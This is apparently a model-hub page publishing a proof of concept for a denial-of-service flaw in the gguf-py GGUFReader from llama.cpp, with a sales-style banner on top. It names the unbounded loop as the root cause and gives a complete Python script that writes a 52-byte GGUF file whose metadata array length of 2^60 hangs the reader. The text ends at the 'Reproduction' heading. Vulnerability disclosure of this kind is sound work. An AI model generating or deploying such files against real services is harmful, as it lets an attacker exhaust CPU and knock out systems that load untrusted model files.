You can deploy this model and start earning money today!

Rodion111/
gguf-dos-poc

Name: gguf-dos-poc
Availability: InStock

gguf

Views

No views yet

GGUF DoS PoC — CWE-400

Proof of Concept for Denial of Service vulnerability in gguf-py (llama.cpp).

Vulnerability

A 52-byte malicious GGUF file causes GGUFReader to enter an infinite loop (100% CPU, never returns) by setting metadata array length to 2^60.

Root cause: gguf_reader.py:247 — for idx in range(alen[0]) with no bounds check.

PoC

python

import struct
with open('dos.gguf', 'wb') as f:
    f.write(b'GGUF')
    f.write(struct.pack('<I', 3))       # Version
    f.write(struct.pack('<Q', 0))       # 0 tensors
    f.write(struct.pack('<Q', 1))       # 1 metadata KV
    f.write(struct.pack('<Q', 4))       # Key length
    f.write(b'evil')
    f.write(struct.pack('<I', 9))       # Type = ARRAY
    f.write(struct.pack('<I', 4))       # Array type = UINT32
    f.write(struct.pack('<Q', 2**60))   # Length = 2^60 → HANG

Reproduction